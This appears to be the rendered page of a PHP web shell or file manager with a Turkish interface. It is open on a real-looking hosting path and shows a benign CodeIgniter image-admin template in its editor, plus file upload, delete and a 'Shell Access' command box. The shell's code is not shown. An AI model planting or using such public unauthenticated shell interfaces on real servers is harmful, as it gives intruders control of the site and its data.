⚠️ **YÜKSEK GÜVENLİK RİSKİ:** Bu dosya herkese açık ve şifresizdir. Lütfen sadece **yerel ortamınızda** kullanın ve işiniz bittiğinde **silin**.
Aktif Dizin:
/home/dltain/public_html/app-old/Views/admin/images
Dosya Düzenle: index.php
<?=$this->extend('layout/default')?> <?=$this->section('content')?> <h2>Images </h2> <a href="<?=base_url()?>admin/images/create" class="btn btn-primary mb-3">Upload New Image</a> <?php if(session()->getFlashdata('success')): ?> <div class="alert alert-success"> <?= session()->getFlashdata('success') ?> </div> <?php endif; ?> <?php if(session()->getFlashdata('error')): ?> <div class="alert alert-danger"> <?= session()->getFlashdata('error') ?> </div> <?php endif; ?> <table class="table table-bordered"> <thead> <tr> <th>ID</th> <th>Title</th> <th>Groups</th> <th>Image</th> <th>Actions</th> </tr> </thead> <tbody> <?php foreach($images as $image): ?> <tr> <td><?= $image['id'] ?></td> <td><?= esc($image['title']) ?></td> <td><?= esc($image['groups']) ?></td> <td><img src="<?=base_url()?>uploads/images/<?=$image['img']?>" alt="<?= esc($image['title']) ?>" style="max-width: 150px;"></td> <td> <a href="<?=base_url()?>admin/images/edit/<?= $image['id'] ?>" class="btn btn-sm btn-warning">Edit</a> <form action="images/delete/<?= $image['id'] ?>" method="post" style="display:inline;" onsubmit="return confirm('Are you sure you want to delete this image?');"> <button type="submit" class="btn btn-sm btn-danger">Delete</button> </form> </td> </tr> <?php endforeach; ?> <tr> <td colspan="5"> <?= $pager->links() ?></td> </tr> </tbody> </table> <?=$this->endSection()?>
Değişiklikleri Kaydet
Yeni Dosya Yükle (Mevcut Dizine)
Yükle
Adı
Tipi
Boyut
İşlemler
📁
.. (Üst Dizin)
📄 create.php
Dosya
1.29 KB
Düzenle
Sil
📄 edit.php
Dosya
1.34 KB
Düzenle
Sil
📄 index.php
Dosya
1.65 KB
Düzenle
Sil
Sorun Giderme (Shell Erişimi)
Çalıştır